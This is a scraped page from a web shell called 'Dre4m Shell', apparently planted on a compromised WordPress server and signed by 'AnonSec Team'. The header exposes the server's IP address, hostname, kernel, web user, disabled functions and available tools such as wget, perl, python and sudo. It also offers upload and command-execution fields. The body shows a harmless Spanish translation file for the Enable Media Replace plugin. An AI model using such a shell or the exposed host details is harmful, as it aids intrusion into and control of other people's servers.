Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.119.213.171
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/plugins/enable-media-replace-es_ES.po
# Translation of Plugins - Enable Media Replace - Stable (latest release) in Spanish (Spain)
# This file is distributed under the same license as the Plugins - Enable Media Replace - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-01-11 15:31:49+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: es\n"
"Project-Id-Version: Plugins - Enable Media Replace - Stable (latest release)\n"

#: views/upsell.php:135
msgid "Get Pro"
msgstr "Consigue la versión Pro"

#: views/upsell.php:128
msgid "Envira Gallery activated!"
msgstr "¡Envira Gallery activado!"

#: views/upsell.php:126
msgid "Activate"
msgstr "Activar"

#: views/upsell.php:124
msgid "Install now"
msgstr "Instalar ahora"

#: views/upsell.php:115
msgid "Create beautiful, fast-loading photo & video galleries for your site in minutes."
msgstr "Crea bonitas y rápidas galerías de fotos y vídeos para tu sitio en minutos."

#: views/upsell.php:104
msgid "GET AN ASSESSMENT FOR %s YOUR WEBSITE %s AND %s %s FIND OUT HOW TO MAKE IT FASTER %s"
msgstr "OBTÉN UNA EVALUACIÓN DE %s TU WEB %s Y %s %s DESCUBRE CÓMO HACERLA MÁS RÁPIDO %s"

#: views/upsell.php:94
msgid "Shortpixel Adaptive Images activated!"
msgstr "¡ShortPixel Adaptive Images activado!"

#: views/upsell.php:80
msgid "In Minutes"
msgstr "En minutos"

#: views/upsell.php:79
msgid "Start Serving %s Optimized, %s Nextgen images %s From a global CDN"
msgstr "Empieza a servir imágenes %s optimizadas, %s de nueva generación %s desde una CDN global"

#: views/upsell.php:75
msgid "ShortPixel Adaptive Images"
msgstr "ShortPixel Adaptive Images"

#: views/upsell.php:60
msgid "Shortpixel activated!"
msgstr "¡ShortPixel activado!"

#: views/upsell.php:57 views/upsell.php:91
msgid "ACTIVATE"
msgstr "ACTIVAR"

#: views/upsell.php:53 views/upsell.php:87
msgid "INSTALL NOW"
msgstr "INSTALAR AHORA"

#: views/upsell.php:46
msgid "Optimize all images %s automatically"
msgstr "Optimiza todas las imágenes %s automáticamente"

#: views/upsell.php:44
msgid "Is your website slow?"
msgstr "¿Va lenta tu web?"

#: views/upsell.php:42
msgid "ShortPixel Image Optimizer"
msgstr "ShortPixel Image Optimizer"

#: views/upload.php:31
msgid "Error in request. Please try again"
msgstr "Error en la solicitud. Por favor, inténtalo de nuevo"

#: views/popup.php:205
msgid "Now"
msgstr "Ahora"

#: views/popup.php:189
msgid "Replace the date with current date %s(%s)%s"
msgstr "Reemplaza la fecha con la fecha actual %s(%s)%s"

#: views/popup.php:148
msgid "If you replace the file with a different filetype, this file might become unreadable and / or cause unexpected issues"
msgstr "Si reemplazas el archivo con un tipo de archivo diferente este archivo puede volverse ilegible y/o provocar problemas inesperados"

#: views/popup.php:35 views/upload.php:36
msgid "You do not have permission to upload files for this author."
msgstr "No tienes permisos para subir archivos para este autor."

#: classes/external/upgrader_skin.php:81
msgid "There was an error installing the addon. Please try again."
msgstr "Ha habido un error al instalar la extensión. Por favor, inténtalo de nuevo."

#: classes/emr-plugin.php:208
msgid "Installing ..."
msgstr "Instalando..."

#: views/popup.php:217
msgid "Put new Upload in Updated Folder: "
msgstr "Poner la nueva subida en una carpeta actualizada:"

#: views/popup.php:162
msgid "Note: If you check this option, the name and type of the file you are about to upload will replace the old file. All links pointing to the current file (%s) will be updated to point to the new file name. (If any other websites link to the file directly, those links will no longer work. Be careful.)"
msgstr "Nota: Si marcas esta opción, el nombre y el tipo del archivo que estás a punto de subir reemplazará al archivo antiguo. Todos los enlaces que apunten al archivo actual (%s) serán actualizados para que apunten al nuevo nombre de archivo. (Si alguna otra web enlaza directamente al archivo, esos enlaces ya no funcionarán. Ten cuidado.)"

#: views/popup.php:100
msgid "Drop File Here"
msgstr "Arrastra el archivo aquí"

#: build/shortpixel/notices/src/NoticeModel.php:218
msgid "Hide Details"
msgstr "Ocultar detalles"

#: build/shortpixel/notices/src/NoticeModel.php:214
msgid "See Details"
msgstr "Ver detalles"

#: classes/emr-plugin.php:464
msgid "Replaced By"
msgstr "Reemplazado por"

#: classes/replacer.php:367
msgid "EMR could not establish a proper destination for replacement"
msgstr "EMR no ha podido establecer un destino apropiado para el reemplazo"

#: classes/replacer.php:337
msgid "In specificied directory there is already a file with the same name. Can't replace."
msgstr "En el directorio especificado ya hay un archivo con el mismo nombre. No se puede reemplazar."

#: classes/replacer.php:314
msgid "Specificed new directory does not exist. Path must be a relative path from the upload directory and exist"
msgstr "El nuevo directorio especificado no existe. La ruta debe existir y ser una ruta relativa desde el directorio de subida"

#: views/upsell.php:106
msgid "FIND OUT MORE"
msgstr "SABER MÁS"

#: views/popup.php:195
msgid "Custom Date"
msgstr "Fecha personalizada"

#: views/popup.php:191
msgid "Set a Custom Date"
msgstr "Establecer una fecha personalizada"

#: views/popup.php:190
msgid "Keep the date %s(%s)%s"
msgstr "Mantener la fecha %s(%s)%s"

#: views/popup.php:187
msgid "When replacing the media, do you want to:"
msgstr "Al sustituir los medios, quieres:"

#: views/popup.php:171
msgid "Date Options"
msgstr "Opciones de fecha"

#: views/popup.php:130
msgid "Replacement Options"
msgstr "Opciones de sustitución"

#: views/popup.php:94
msgid "Replacement file type doesn't seem to be allowed by WordPress. This might cause unexpected issues"
msgstr "El tipo de archivo del reemplazo no parece estar permitido por WordPress. Esto puede causar problemas inesperados"

#: views/popup.php:90
msgid "Replacement file is not the same filetype. This might cause unexpected issues ( %s )"
msgstr "El archivo de reemplazo no es del mismo tipo de archivo. Esto puede causar problemas inesperados (%s)"

#: views/popup.php:87
msgid "%s f %s exceeds the maximum upload size for this site."
msgstr "%s f %s excede el tamaño máximo de subida para este sitio."

#: views/popup.php:86
msgid "Maximum file size: <strong>%s</strong>"
msgstr "Tamaño máximo de archivo: <strong>%s</strong>"

#: views/popup.php:79
msgid "Choose Replacement Media"
msgstr "Elige el medio para la sustitución"

#: views/upload.php:186
msgid "File successfully replaced"
msgstr "Archivo sustituido con éxito"

#: views/upload.php:181
msgid "File Upload seems to have failed. No files were returned by system"
msgstr "Parece ser que la subida ha fallado. El sistema no ha devuelto archivos"

#: views/upload.php:82
msgid "Invalid Custom Date. Please custom date values (%s)"
msgstr "Fecha personalizada no válida. Por favor personaliza los valores de fecha (%s)"

#: build/shortpixel/log/src/DebugItem.php:35
msgid "[Data]"
msgstr "[Datos]"

#: views/popup.php:227
msgid "Cancel"
msgstr "Cancelar"

#: views/popup.php:226
msgid "Upload"
msgstr "Subir"

#: views/popup.php:164
msgid "Please note that if you upload a new image, only embeds/links of the original size image will be replaced in your posts."
msgstr "Ten en cuenta que si subes una imagen nueva, solo los incrustados/enlaces de la imagen de tamaño original se sustituirán en tus entradas."

#: views/popup.php:159
msgid "Replace the file, use new file name and update all links"
msgstr "Sustituir el archivo, usar el nuevo nombre de archivo y actualizar todos los enlaces"

#: views/popup.php:145
msgid "Note: This option requires you to upload a file of the same type (%s) as the one you are replacing. The name of the attachment will stay the same (%s) no matter what the file you upload is called."
msgstr "Nota: Esta opción requiere que subas un archivo del mismo tipo (%s) que el que estás sustituyendo. El nombre del adjunto seguirá siendo el mismo (%s) sin importar cómo se llame el archivo que subas."

#: views/popup.php:141
msgid "Just replace the file"
msgstr "Sólo sustituir el archivo"

#: views/popup.php:85
msgid "Choose a file to upload from your computer"
msgstr "Escoge un archivo de tu ordenador para subirlo"

#: views/popup.php:81
msgid "NOTE: You are about to replace the media file \"%s\". There is no undo. Think about it!"
msgstr "NOTA: Estás a punto de sustituir el archivo multimedia \"%s\". No se puede deshacer. ¡Piénsalo!"

#: views/popup.php:64
msgid "Replace Media Upload"
msgstr "Subir sustituto de medios"

#: classes/emr-plugin.php:452
msgid "Revised"
msgstr "Revisado"

#: classes/emr-plugin.php:449
msgid "M j, Y @ H:i"
msgstr "j M \\d\\e Y @ H:i"

#: classes/emr-plugin.php:328 views/popup.php:207
msgid "Original"
msgstr "Original"

#: classes/emr-plugin.php:316
msgid "Thumbnails were not generated"
msgstr "Las miniaturas no se han generado"

#: classes/emr-plugin.php:303 classes/emr-plugin.php:365
msgid "To replace the current file, click the link and upload a replacement."
msgstr "Para sustituir el archivo actual, haz clic en el enlace y sube un sustituto."

#: classes/emr-plugin.php:303 classes/emr-plugin.php:365
msgid "Upload a new file"
msgstr "Subir nuevo archivo"

#: classes/emr-plugin.php:115 classes/emr-plugin.php:363
#: classes/emr-plugin.php:402
msgid "Replace media"
msgstr "Sustituir medios"

#: classes/emr-plugin.php:283
msgid "Replaced Thumbnails Preview"
msgstr "Visualizar las miniaturas sustituidas"

#: classes/emr-plugin.php:279
msgid "Replace Media"
msgstr "Sustituir medio"

#: classes/replacer.php:557
msgid "There was an issue with updating your image URLS: Search and replace have different amount of values. Aborting updating thumbnails"
msgstr "Ha habido un problema con la actualización de las URL de tu imagen: Buscar y reemplazar tienen valores diferentes. Se aborta la actualización de las miniaturas"

#: classes/replacer.php:480
msgid "Fail Safe :: Source Location returned empty string. Not replacing content"
msgstr "A prueba de fallos :: La ubicación de origen ha devuelto una cadena vacía. No se reemplazará el contenido"

#: classes/replacer.php:473
msgid "Fail Safe :: Source Location seems to be a directory."
msgstr "A prueba de fallos :: La ubicación del origen parece ser un directorio."

#: classes/replacer.php:131
msgid "The uploaded file could not be moved to %1$s. This is most likely an issue with permissions, or upload failed."
msgstr "El archivo subido no se ha podido mover a %1$s. Esto puede ser por un conflicto con los permisos, o porque la subida ha fallado."

#: views/upload.php:137
msgid "File type does not meet security guidelines. Try another."
msgstr "El tipo de archivo no cumple con las directrices de seguridad. Prueba con otro."

#: views/popup.php:23 views/upload.php:11
msgid "You do not have permission to upload files."
msgstr "No tienes permisos para subir archivos."

#: views/notice.php:11
msgid "More info"
msgstr "Más información"

#: views/notice.php:8
msgid "<a href=\"https://shortpixel.com/wp/af/VKG6LYN28044\" target=\"_blank\">ShortPixel</a> is an image optimization plugin and if you have it activated, upon replacing an image in Enable Media Replace, the image will be also automatically optimized."
msgstr "<a href=\"https://shortpixel.com/wp/af/VKG6LYN28044\" target=\"_blank\">ShortPixel</a> es un plugin de optimización de imágenes y si lo tienes activado, al sustituir una imagen en Enable Media Replace, la imagen también se optimizará automáticamente."

#: views/notice.php:6
msgid "Enable Media Replace is now compatible with ShortPixel!"
msgstr "¡Enable Media Replace ahora es compatible con ShortPixel!"

#: views/notice.php:2
msgid "Dismiss"
msgstr "Descartar"

#. Author URI of the plugin
msgid "https://shortpixel.com"
msgstr "https://shortpixel.com"

#. Author of the plugin
msgid "ShortPixel"
msgstr "ShortPixel"

#. Description of the plugin
msgid "Enable replacing media files by uploading a new file in the \"Edit Media\" section of the WordPress Media Library."
msgstr "Permite el reemplazo de archivos de medios subiendo un nuevo archivo en la sección «Editar medios» de la biblioteca de medios de WordPress."

#. Plugin URI of the plugin
msgid "https://wordpress.org/plugins/enable-media-replace/"
msgstr "https://es.wordpress.org/plugins/enable-media-replace/"

#. Plugin Name of the plugin
msgid "Enable Media Replace"
msgstr "Enable Media Replace"

Anon7 - 2022
AnonSec Team